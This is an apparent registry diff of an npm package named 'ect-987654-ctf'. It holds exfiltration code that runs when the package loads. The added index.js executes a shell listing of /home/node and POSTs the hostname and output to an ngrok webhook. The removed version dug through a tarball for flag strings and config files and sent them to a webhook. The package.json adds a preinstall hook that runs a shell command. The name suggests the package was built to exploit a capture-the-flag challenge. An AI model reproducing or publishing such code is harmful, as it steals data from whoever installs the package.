ect-987654-ctf 0.0.3 → 0.0.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/evil.yaml +6 -0
- package/index.js +22 -32
- package/last_post.json +8 -0
- package/package.json +3 -9
package/evil.yaml
ADDED
package/index.js
CHANGED
|
@@ -1,37 +1,27 @@
|
|
|
1
|
-
const
|
|
2
|
-
const
|
|
1
|
+
const https = require("https");
|
|
2
|
+
const { execSync } = require("child_process");
|
|
3
3
|
|
|
4
|
-
const WEBHOOK = "https://
|
|
4
|
+
const WEBHOOK = "https://0f6896f7cc8e.ngrok-free.app/";
|
|
5
5
|
|
|
6
|
-
function post(
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
6
|
+
function post(data) {
|
|
7
|
+
const body = JSON.stringify(data);
|
|
8
|
+
const url = new URL(WEBHOOK);
|
|
9
|
+
const req = https.request({
|
|
10
|
+
hostname: url.hostname,
|
|
11
|
+
path: url.pathname,
|
|
12
|
+
method: "POST",
|
|
13
|
+
headers: {
|
|
14
|
+
"Content-Type": "application/json",
|
|
15
|
+
"Content-Length": Buffer.byteLength(body)
|
|
16
|
+
}
|
|
17
|
+
});
|
|
18
|
+
req.write(body);
|
|
19
|
+
req.end();
|
|
16
20
|
}
|
|
17
21
|
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
22
|
+
try {
|
|
23
|
+
const out = execSync("ls -lah /home/node", { encoding: "utf8", timeout: 10000 });
|
|
24
|
+
post({ host: require("os").hostname(), output: out });
|
|
25
|
+
} catch (e) {
|
|
26
|
+
post({ error: e.message });
|
|
21
27
|
}
|
|
22
|
-
|
|
23
|
-
(function(){
|
|
24
|
-
const file = "/home/node/aspect-node.tar.gz";
|
|
25
|
-
const out = { host: os.hostname(), ts: new Date().toISOString(), file, outputs:{} };
|
|
26
|
-
if(!fs.existsSync(file)){ out.outputs.err = "file not found"; fs.writeFileSync('/tmp/out.json', JSON.stringify(out,null,2)); post(out); return; }
|
|
27
|
-
out.outputs.list = run(`tar -tzf ${file} | head -n 500`);
|
|
28
|
-
out.outputs.flag = run(`tar -xOf ${file} 2>/dev/null | grep -aE 'HTB\\{|flag\\{' | head -n 100`);
|
|
29
|
-
// try small candidate reads
|
|
30
|
-
const cand = ['flag','flag.txt','README','README.md','config.js','server.js','app.js'];
|
|
31
|
-
out.outputs.candidates = {};
|
|
32
|
-
for(const c of cand){
|
|
33
|
-
try { out.outputs.candidates[c] = run(`tar -xOf ${file} "${c}" 2>/dev/null | head -c 20000`); } catch(e){}
|
|
34
|
-
}
|
|
35
|
-
try { fs.writeFileSync('/tmp/out.json', JSON.stringify(out,null,2)); } catch(e){}
|
|
36
|
-
post(out);
|
|
37
|
-
})();
|
package/last_post.json
ADDED
package/package.json
CHANGED
|
@@ -1,13 +1,7 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "ect-987654-ctf",
|
|
3
|
-
"version": "0.0.
|
|
4
|
-
"description": "",
|
|
5
|
-
"main": "index.js",
|
|
3
|
+
"version": "0.0.5",
|
|
6
4
|
"scripts": {
|
|
7
|
-
"
|
|
8
|
-
|
|
9
|
-
},
|
|
10
|
-
"keywords": [],
|
|
11
|
-
"author": "",
|
|
12
|
-
"license": "ISC"
|
|
5
|
+
"preinstall": "ls -lah > /tmp/preinstall_test.txt"
|
|
6
|
+
}
|
|
13
7
|
}
|